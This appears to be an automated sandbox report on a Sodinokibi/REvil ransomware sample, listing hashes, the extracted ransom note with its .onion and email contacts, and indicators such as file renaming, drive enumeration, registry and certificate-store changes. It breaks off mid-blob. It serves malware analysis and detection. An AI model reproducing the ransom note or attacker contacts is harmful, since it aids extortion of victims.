sodinokibi | ddf74c11fc2d7aa8e26404ea318b40070e29b49cf977f0ef76b1e04fa2e8f2e7

General

Target

pk9rEyAv.exe.dll
Size

115KB
MD5

3da6484a1a8f6672a79b23810c6e79cb
SHA1

bd452d1c9431344fbd9c95e0d520a87015b8efad
SHA256

ddf74c11fc2d7aa8e26404ea318b40070e29b49cf977f0ef76b1e04fa2e8f2e7
SHA512

5928ea70eaaae41792de72af682045a56405d3d851a60016115b9a556174fdb759477271d312825770088eac591b9fe1d126fac68efbbd8d391082b101ef1336

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\6u776v6a-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 6u776v6a. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7422679EF7CF3BFF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7422679EF7CF3BFF Warning: secondary website can be blocked, thats why first variant much better and more available. 3) If you still have problems accessing the site, you can write to us at: revilcry@pm.me, indicating the external IP address, country, key PaERi8D1owhe2e7+PYkveFWOXktfyXqo8Ob2/vwo9/3bLQpuo+ijhxOCltOUTdD8 MF/+wvS/Vum4YIzLr5Jw4mKtrHyZjicu+6HiqFS6vRaOfy0yu1WxX5PbTMios/W5 W0G5sy+d72KdOqK4B4+aBjL9kkh5jkUgHVq/hVaJw/E7FbhkChZdcPZ7+9b15U89 0ALg1myqTn1YMv97bgD15OYiCtKR8zVwWBuWaA22bHUIt47TwKWge3YPu9UUoBNS 6dsVLAGbPbdhfsy0FjYOcgNd15WkkQhA/9wkakNssevI2pNHcHYjcKgBK2CpV2iE HVw4UNkaIhPz1aHEq9c/oOugVtiQfHvPV3kk6adLGCWtHPVU/K+c4FKVU4enIitC hQakvHgQiGaCY2K6MQT6BAnCQBFW1tYE74TGzYi3ganiUFhnVG20wc3x+wqf+xPk yKctYJV39sk12xh5EJLchqPoarZ2KaVaBM6eIJavmPavecM76xNiYW94c3dYFX/a 5cmLu+kYEQhqwR3DGEsnxZVNZLhsv2bJ82/u3Wrcv575yRCVGv6RcEDuKrB/qnx3 VD5wWkXu/p37UedP9VYRllt1IWG0E9vvr6sTzQcv/B5GTNlXQvG3KkL6gxyGwbFz 1GIN8jffl3LEWsgT59M4JYSpVfmN9Gd+i5fNyIE+auQuvK5t4ptvK3T1FCLE9DID kDW2x8/rUbQBdVANMqyzdW9HgqSTZkR/IAW0FV9Jgm/tawcNse99ZU+RCuU63Oxk 5YrcnPClAGzbxYAw/vQjWR/hcPpkRIjvgVCwjwDv5x+10s/qaJE+ajU1aJGZMRZC HMbFdxL/FSSlTbOojE0sKkd4xqZD0s+2R0YUp3C5KBa5NdZugSkXbzkET5Ok7hno XdcakP8CiCBMOvO0RCREPOyHdI8k3un2wQ/zDI9BlIeRVs6GRhtftTLDrACx7HeN 4UVa/STbyp2IXgGgI2aBDZ5xZf4k2pzm4DHOgI9g9axtIdI/U5FOXKAskNdnvqZm kRqD1dYGmzQg2G8P7m5ubUf6tV8E5zScu3HB2ewlPUNnsmZFZ4wBcNKorQE9ACCG WadXnQc+0zLNJ8VIa3pTpC8YeUlxnwxpXRCeF6FdfxgyLIXRrPZyUEet9hfuJpFH bLC/WuH+IEK82guHz9ictJrU76bVGXLVevKVnrMYcUwUjeRS5ooeUEyuh1fim3u+ DD+eVqjjBgWripT2D+gyrQ17ICuK2IBk3NJSOZtvB1zBxrettSPYs7Nrk7qJm8NA UE8tRMVi05d6dgfnwA7+yNi6bws= and extension 6u776v6a When you open our website, put the following data in the input form: Key: PaERi8D1owhe2e7+PYkveFWOXktfyXqo8Ob2/vwo9/3bLQpuo+ijhxOCltOUTdD8 MF/+wvS/Vum4YIzLr5Jw4mKtrHyZjicu+6HiqFS6vRaOfy0yu1WxX5PbTMios/W5 W0G5sy+d72KdOqK4B4+aBjL9kkh5jkUgHVq/hVaJw/E7FbhkChZdcPZ7+9b15U89 0ALg1myqTn1YMv97bgD15OYiCtKR8zVwWBuWaA22bHUIt47TwKWge3YPu9UUoBNS 6dsVLAGbPbdhfsy0FjYOcgNd15WkkQhA/9wkakNssevI2pNHcHYjcKgBK2CpV2iE HVw4UNkaIhPz1aHEq9c/oOugVtiQfHvPV3kk6adLGCWtHPVU/K+c4FKVU4enIitC hQakvHgQiGaCY2K6MQT6BAnCQBFW1tYE74TGzYi3ganiUFhnVG20wc3x+wqf+xPk yKctYJV39sk12xh5EJLchqPoarZ2KaVaBM6eIJavmPavecM76xNiYW94c3dYFX/a 5cmLu+kYEQhqwR3DGEsnxZVNZLhsv2bJ82/u3Wrcv575yRCVGv6RcEDuKrB/qnx3 VD5wWkXu/p37UedP9VYRllt1IWG0E9vvr6sTzQcv/B5GTNlXQvG3KkL6gxyGwbFz 1GIN8jffl3LEWsgT59M4JYSpVfmN9Gd+i5fNyIE+auQuvK5t4ptvK3T1FCLE9DID kDW2x8/rUbQBdVANMqyzdW9HgqSTZkR/IAW0FV9Jgm/tawcNse99ZU+RCuU63Oxk 5YrcnPClAGzbxYAw/vQjWR/hcPpkRIjvgVCwjwDv5x+10s/qaJE+ajU1aJGZMRZC HMbFdxL/FSSlTbOojE0sKkd4xqZD0s+2R0YUp3C5KBa5NdZugSkXbzkET5Ok7hno XdcakP8CiCBMOvO0RCREPOyHdI8k3un2wQ/zDI9BlIeRVs6GRhtftTLDrACx7HeN 4UVa/STbyp2IXgGgI2aBDZ5xZf4k2pzm4DHOgI9g9axtIdI/U5FOXKAskNdnvqZm kRqD1dYGmzQg2G8P7m5ubUf6tV8E5zScu3HB2ewlPUNnsmZFZ4wBcNKorQE9ACCG WadXnQc+0zLNJ8VIa3pTpC8YeUlxnwxpXRCeF6FdfxgyLIXRrPZyUEet9hfuJpFH bLC/WuH+IEK82guHz9ictJrU76bVGXLVevKVnrMYcUwUjeRS5ooeUEyuh1fim3u+ DD+eVqjjBgWripT2D+gyrQ17ICuK2IBk3NJSOZtvB1zBxrettSPYs7Nrk7qJm8NA UE8tRMVi05d6dgfnwA7+yNi6bws= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7422679EF7CF3BFF

http://decryptor.cc/7422679EF7CF3BFF

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Blacklisted process makes network request 84 IoCs

Processes:

rundll32.exe

flow	pid	process
17	3904	rundll32.exe
19	3904	rundll32.exe
21	3904	rundll32.exe
23	3904	rundll32.exe
25	3904	rundll32.exe
27	3904	rundll32.exe
29	3904	rundll32.exe
31	3904	rundll32.exe
33	3904	rundll32.exe
35	3904	rundll32.exe
37	3904	rundll32.exe
39	3904	rundll32.exe
41	3904	rundll32.exe
43	3904	rundll32.exe
45	3904	rundll32.exe
47	3904	rundll32.exe
49	3904	rundll32.exe
51	3904	rundll32.exe
53	3904	rundll32.exe
56	3904	rundll32.exe
58	3904	rundll32.exe
60	3904	rundll32.exe
62	3904	rundll32.exe
64	3904	rundll32.exe
66	3904	rundll32.exe
68	3904	rundll32.exe
70	3904	rundll32.exe
71	3904	rundll32.exe
73	3904	rundll32.exe
75	3904	rundll32.exe
77	3904	rundll32.exe
79	3904	rundll32.exe
81	3904	rundll32.exe
83	3904	rundll32.exe
85	3904	rundll32.exe
87	3904	rundll32.exe
89	3904	rundll32.exe
91	3904	rundll32.exe
93	3904	rundll32.exe
95	3904	rundll32.exe
97	3904	rundll32.exe
99	3904	rundll32.exe
101	3904	rundll32.exe
103	3904	rundll32.exe
105	3904	rundll32.exe
107	3904	rundll32.exe
109	3904	rundll32.exe
111	3904	rundll32.exe
113	3904	rundll32.exe
115	3904	rundll32.exe
117	3904	rundll32.exe
119	3904	rundll32.exe
121	3904	rundll32.exe
123	3904	rundll32.exe
124	3904	rundll32.exe
126	3904	rundll32.exe
128	3904	rundll32.exe
132	3904	rundll32.exe
134	3904	rundll32.exe
136	3904	rundll32.exe
138	3904	rundll32.exe
140	3904	rundll32.exe
141	3904	rundll32.exe
143	3904	rundll32.exe

Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
ransomware

Processes:

rundll32.exe

description ioc process

File renamed C:\Users\Admin\Pictures\UseInvoke.tif => \??\c:\users\admin\pictures\UseInvoke.tif.6u776v6a rundll32.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\UseInvoke.tif => \??\c:\users\admin\pictures\UseInvoke.tif.6u776v6a	rundll32.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1magnck3.bmp"	rundll32.exe

Drops file in Program Files directory 18 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\UnregisterUnprotect.DVR	rundll32.exe
File opened for modification	\??\c:\program files\WriteUpdate.jpg	rundll32.exe
File opened for modification	\??\c:\program files\DenyResolve.cr2	rundll32.exe
File opened for modification	\??\c:\program files\ExitMove.dot	rundll32.exe
File opened for modification	\??\c:\program files\GrantSelect.xltx	rundll32.exe
File opened for modification	\??\c:\program files\PublishClose.3g2	rundll32.exe
File opened for modification	\??\c:\program files\RevokePop.edrwx	rundll32.exe
File created	\??\c:\program files\6u776v6a-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\6u776v6a-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompareSuspend.ogg	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromFormat.doc	rundll32.exe
File opened for modification	\??\c:\program files\EnterRequest.xltx	rundll32.exe
File opened for modification	\??\c:\program files\MoveExpand.mov	rundll32.exe
File opened for modification	\??\c:\program files\ReadResolve.temp	rundll32.exe
File opened for modification	\??\c:\program files\ApproveUnpublish.emf	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointClear.crw	rundll32.exe
File opened for modification	\??\c:\program files\ExportNew.ADT	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveUnregister.contact	rundll32.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\4C27431717565A3A07F3E6D0032C4258949CF9EC	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\4C27431717565A3A07F3E6D0032C4258949CF9EC\Blob = 0300000001000000140000004c27431717565a3a07f3e6d0032c4258949cf9ec140000000100000014000000f5cdd53c0850f96a4f3ab797da5683e669d268f7040000000100000010000000342e1e02d91852d4a66f8a892167c8fa0f0000000100000020000000a2de33490c476d356e2dbc737c2779692249526b65ab8fba9a34280481c8bdfc19000000010000001000000014b989b317682449c76eb3c21dac16e75c000000010000000400000000080000180000000100000010000000a823b4a20180beb460cab955c24d7e212000000001000000510400003082044d30820335a003020102020b040000000001444ef03631300d06092a864886f70d01010b05003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3134303232303130303030305a170d3234303232303130303030305a304c310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613122302006035504031319416c70686153534c204341202d20534841323536202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100da01ece4ec7360fb7e8f6ab7c617e3926432d4ac00d9a20fb9edee6b8a86ca9267d974d75d47023c8f40d69e6d14cdc3da2939a70f050a68a2661a1ec4b28b7658e5ab5d1d8f40b3398bef1e837d22d0e3a9002eec53cf62198544284cc027cb7b0eec10640010a405cca072be416c315b48e4b1ecb923eb554dd07d624aa5b4a5a45985c52591a6fea6099f06106d8f810c64405e73009ae02e65985410007098c8e1ed345fd89cc70dc0d6235945fcfe557a86ee946022f1aed1e65546f699c51b08745facb064848f89381ca1a790214f026ebde06167d4f842870f0af7c9046d2aa92fef42a5dfdda353db981e81f99a727b5ade4f3e7fa258a0e217ad670203010001a38201233082011f300e0603551d0f0101ff04040302010630120603551d130101ff040830060101ff020100301d0603551d0e04160414f5cdd53c0850f96a4f3ab797da5683e669d268f730450603551d20043e303c303a0604551d20003032303006082b06010505070201162468747470733a2f2f7777772e616c70686173736c2e636f6d2f7265706f7369746f72792f30330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e676c6f62616c7369676e2e6e65742f726f6f742e63726c303d06082b060105050701010431302f302d06082b060105050730018621687474703a2f2f6f6373702e676c6f62616c7369676e2e636f6d2f726f6f747231301f0603551d23041830168014607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010b050003820101006040681647e7168ddb5ca1562acbf45c9bb01ea24bf5cb023ff80ba1f2a742d4b74cebe36680f32543782e1b1756075218cbd1a8ece6fb733ea4628c80b4d2c51273a3d3fa0238be633d84b899c1f1baf79fc340d1581853c162ddaf18427f344ec543d571b03000c7e390ae3f578697ceea0c128e2270e366a7547f2e28cbd454d0b31e626708f927e1cbe366b8241b896a894465f2d94cd2581c8c4ec095a1d4ef672f3820e82eff9651f0bad83d927047651c9e7372b4600c5ce2d17376e0af4ee2e537a5452f8a233e87c730e631387cf4dd52caf353042557566694e80beee603144eeefd6d94649e5ece79d4b2a6cf40b144a83e87195ee9f821165953	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4\Blob = 0f0000000100000030000000761613f4cd8607508c3d520fbefe68773735fc73746f42a9fd6254ba3b72f0047994e5af57677cf6d2c1965984965df1090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003a0000005300650063007400690067006f002000280066006f0072006d00650072006c007900200043006f006d006f0064006f002000430041002900000062000000010000002000000052f0e1c4e58ec629291b60317f074671b85d7ea80d5b07273463534b32b40234140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d41d0000000100000010000000cb39c3d4272cdf63774e1db810c5a89e030000000100000014000000afe5d244a8d1194230ff479fe2f897bbcd7a8cb42000000001000000dc050000308205d8308203c0a00302010202104caaf9cadb636fe01ff74ed85b03869d300d06092a864886f70d01010c0500308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f72697479301e170d3130303131393030303030305a170d3338303131383233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a3423040301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201000af1d54684b7ae51bb6cb24d411400934c9ccbe5c054cfa0258e02f9fdb0a20df520983c132dac56a2b0d67e1192e92eba9e2e9a72b1bd19446c6135a29ab41612695a8ce1d73ea41ae82f03f4ae611d101b2aa48b7ac5fe05a6e1c0d6c8fe9eae8f2bba3d99f8d8730958466ea69cf4d727d395da3783721cd373e0a2479903385dd5497900291cc7ec9b201c0724695778b239fc3a84a0b59c7c8dbf2e936227b739da1718aebd3c0968ff849b3cd5d60b03e3579e14f7d1eb4fc8bd8723b7b6494379855cbaeb920ba1c6e868a84c16b11a990ae8532c92bba10918750c65a87bcb23b71ac22885c31bffd02b62efa47b099198678c1401cd68066a6321750380888a6e81c685f2a9a42de7f4a524104783cacdf48d7958b1069be71a2ad99d01d7947ded034acaf0dbe8a9013ef55699c91e8e493dbbe509b9e04f49923d168240cccc59c6e63aed122e693c6c95b1fdaa1d7b7f86be1e0e3246fbfb138f757f4c8b4b4663fe00344070c1c3b9a1dda670e204b341bce98091ea649c7ae12203a99c6e6f0e654f6c87875ef36ea0f975a59b40e853b2279d4ab9c077218dff87f2debc8cef17dfb7490bd1f26e300b1a0e4e76ed11fcf5e956b27dbfc76d0a938ca5d0c0b61dbe3a4e94a2d76e6c0bc28a7cfa20f3c4e4e5cd0da8cb9192b17c85ecb51469660e82e7cdcec82da6517f21c1355385064a5d9fadbb1b5f74	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4\Blob = 0400000001000000100000001b31b0714036cc143691adc43efdec18030000000100000014000000afe5d244a8d1194230ff479fe2f897bbcd7a8cb41d0000000100000010000000cb39c3d4272cdf63774e1db810c5a89e140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d462000000010000002000000052f0e1c4e58ec629291b60317f074671b85d7ea80d5b07273463534b32b402340b000000010000003a0000005300650063007400690067006f002000280066006f0072006d00650072006c007900200043006f006d006f0064006f002000430041002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f0000000100000030000000761613f4cd8607508c3d520fbefe68773735fc73746f42a9fd6254ba3b72f0047994e5af57677cf6d2c1965984965df12000000001000000dc050000308205d8308203c0a00302010202104caaf9cadb636fe01ff74ed85b03869d300d06092a864886f70d01010c0500308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f72697479301e170d3130303131393030303030305a170d3338303131383233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a3423040301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201000af1d54684b7ae51bb6cb24d411400934c9ccbe5c054cfa0258e02f9fdb0a20df520983c132dac56a2b0d67e1192e92eba9e2e9a72b1bd19446c6135a29ab41612695a8ce1d73ea41ae82f03f4ae611d101b2aa48b7ac5fe05a6e1c0d6c8fe9eae8f2bba3d99f8d8730958466ea69cf4d727d395da3783721cd373e0a2479903385dd5497900291cc7ec9b201c0724695778b239fc3a84a0b59c7c8dbf2e936227b739da1718aebd3c0968ff849b3cd5d60b03e3579e14f7d1eb4fc8bd8723b7b6494379855cbaeb920ba1c6e868a84c16b11a990ae8532c92bba10918750c65a87bcb23b71ac22885c31bffd02b62efa47b099198678c1401cd68066a6321750380888a6e81c685f2a9a42de7f4a524104783cacdf48d7958b1069be71a2ad99d01d7947ded034acaf0dbe8a9013ef55699c91e8e493dbbe509b9e04f49923d168240cccc59c6e63aed122e693c6c95b1fdaa1d7b7f86be1e0e3246fbfb138f757f4c8b4b4663fe00344070c1c3b9a1dda670e204b341bce98091ea649c7ae12203a99c6e6f0e654f6c87875ef36ea0f975a59b40e853b2279d4ab9c077218dff87f2debc8cef17dfb7490bd1f26e300b1a0e4e76ed11fcf5e956b27dbfc76d0a938ca5d0c0b61dbe3a4e94a2d76e6c0bc28a7cfa20f3c4e4e5cd0da8cb9192b17c85ecb51469660e82e7cdcec82da6517f21c1355385064a5d9fadbb1b5f74	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4\Blob = 19000000010000001000000082218ffb91733e64136be5719f57c3a10f0000000100000030000000761613f4cd8607508c3d520fbefe68773735fc73746f42a9fd6254ba3b72f0047994e5af57677cf6d2c1965984965df1090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003a0000005300650063007400690067006f002000280066006f0072006d00650072006c007900200043006f006d006f0064006f002000430041002900000062000000010000002000000052f0e1c4e58ec629291b60317f074671b85d7ea80d5b07273463534b32b40234140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d41d0000000100000010000000cb39c3d4272cdf63774e1db810c5a89e030000000100000014000000afe5d244a8d1194230ff479fe2f897bbcd7a8cb40400000001000000100000001b31b0714036cc143691adc43efdec182000000001000000dc050000308205d8308203c0a00302010202104caaf9cadb636fe01ff74ed85b03869d300d06092a864886f70d01010c0500308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f72697479301e170d3130303131393030303030305a170d3338303131383233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a3423040301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201000af1d54684b7ae51bb6cb24d411400934c9ccbe